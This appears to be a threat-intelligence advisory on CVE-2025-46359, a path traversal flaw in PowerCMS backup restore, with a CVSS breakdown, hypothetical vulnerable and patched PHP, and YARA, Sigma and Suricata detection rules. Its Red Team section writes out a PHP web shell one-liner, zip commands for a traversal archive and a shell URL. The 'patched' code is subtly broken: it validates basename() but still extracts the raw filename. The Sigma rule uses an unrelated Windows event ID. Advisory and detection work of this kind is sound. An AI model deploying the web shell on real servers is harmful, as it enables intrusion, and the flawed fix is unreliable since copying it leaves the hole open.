CVE-2025-46359

Executive Summary

CVE-2025-46359 is a path traversal vulnerability in the backup and restore feature of multiple versions of PowerCMS. A product administrator can exploit this flaw by restoring a crafted backup file, leading to arbitrary code execution. The vulnerability has a CVSS score of 7.2 (High), indicating significant impact on confidentiality, integrity, and availability. No public proof-of-concept or patch details are currently available, and the EPSS score is 0.0%, suggesting low exploitation activity at this time.

Supply Chain & Package Security

PowerCMS is a proprietary content management system. No open-source package registries (NPM, PyPI, Go, Ruby) are involved. The vulnerability is inherent to the product's backup/restore functionality.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: High (PR:H) – The attacker must be a product administrator.
• User Interaction: None (UI:N) – No user action is needed beyond the administrator restoring the backup.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full system compromise possible.
• Integrity Impact: High (I:H) – Arbitrary code execution allows modification of system files.
• Availability Impact: High (A:H) – Potential for denial of service or system takeover.

Deep Dive & Mechanics

The vulnerability resides in the backup and restore functionality of PowerCMS. When an administrator restores a backup file, the application fails to properly sanitize file paths within the backup archive. An attacker with administrative privileges can craft a malicious backup file containing path traversal sequences (e.g., ../) to write files outside the intended restore directory. This allows the attacker to overwrite critical system files or place executable code in web-accessible directories, leading to arbitrary code execution.

The root cause is insufficient validation of file paths during the extraction process. The application likely uses a function like extract() or unzip() without checking for directory traversal patterns. The attacker can embed a file with a path like ../../../../var/www/html/shell.php in the backup archive, which, when restored, writes a web shell to the web root.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described hypothetically.

Vulnerable Code (PHP-like pseudocode):

function restore_backup($backup_file) {
    $zip = new ZipArchive();
    $zip->open($backup_file);
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        // No path traversal check
        $zip->extractTo('/var/www/powercms/restore/', $filename);
    }
    $zip->close();
}

Patched Code (Hypothetical):

function restore_backup($backup_file) {
    $zip = new ZipArchive();
    $zip->open($backup_file);
    $restore_dir = '/var/www/powercms/restore/';
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        // Sanitize path
        $safe_path = realpath($restore_dir . '/' . basename($filename));
        if (strpos($safe_path, $restore_dir) !== 0) {
            throw new Exception("Invalid path");
        }
        $zip->extractTo($restore_dir, $filename);
    }
    $zip->close();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to PowerCMS.
• Ability to upload and restore a backup file.

Steps:

1. Create a malicious backup archive (e.g., ZIP) containing a file with a path traversal payload.
2. Use a tool like zip to craft the archive:

   mkdir exploit
   echo '<?php system($_GET["cmd"]); ?>' > exploit/shell.php
   cd exploit
   zip -r ../malicious_backup.zip ../../../../var/www/html/shell.php
   

   Note: The actual path depends on the web root. Adjust accordingly.
3. Log in to PowerCMS as an administrator.
4. Navigate to the backup/restore section and upload malicious_backup.zip.
5. Initiate the restore process.
6. Access the web shell via http://target.com/shell.php?cmd=id.

Blue Team

Detection:

• Monitor backup file uploads for unusual file names or paths.
• Check for unexpected files in web-accessible directories after restore operations.
• Use file integrity monitoring (FIM) to detect changes to critical system files.

Prevention:

• Restrict administrative access to trusted users only.
• Implement strict input validation on backup file paths.
• Use a sandboxed environment for backup restoration.

Indicators of Compromise (IOCs)

• File Hashes: (None available; generate upon discovery)
• Network Traffic: Unusual HTTP requests to /PowerCMS/admin/restore or similar endpoints.
• File System: Unexpected files in web root (e.g., shell.php, cmd.php).
• Logs: PowerCMS audit logs showing restore operations with suspicious backup file names.

Detection Engineering

YARA Rule

rule CVE_2025_46359_PowerCMS_Path_Traversal {
    meta:
        description = "Detects path traversal patterns in PowerCMS backup files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46359"
    strings:
        $traversal1 = /\.\.\/\.\.\/\.\.\/\.\.\//
        $traversal2 = /\.\.\\\.\.\\\.\.\\\.\.\\/
        $php_shell = "<?php"
    condition:
        ($traversal1 or $traversal2) and $php_shell
}

Sigma Rule

title: PowerCMS Backup Path Traversal
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects path traversal attempts in PowerCMS backup restore
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: powercms
detection:
    selection:
        EventID: 4688
        CommandLine|contains: 'restore'
        CommandLine|re: '\.\.\/'
    condition: selection
falsepositives:
    - Legitimate backup files with similar names
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-46359 PowerCMS Backup Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/PowerCMS/admin/restore"; http_uri; content:"filename"; pcre:"/\.\.\//"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict administrative access to trusted users only. Monitor backup restore operations closely.
• Short-term: Implement input validation on backup file paths. Use a whitelist of allowed directories.
• Long-term: Apply vendor patch when available. Consider migrating to a supported CMS with active security updates.
• Workaround: Disable the backup/restore feature if not essential. Use external backup solutions with proper sanitization.

Valters IT
DevSecOps & Cyber Threat Intelligence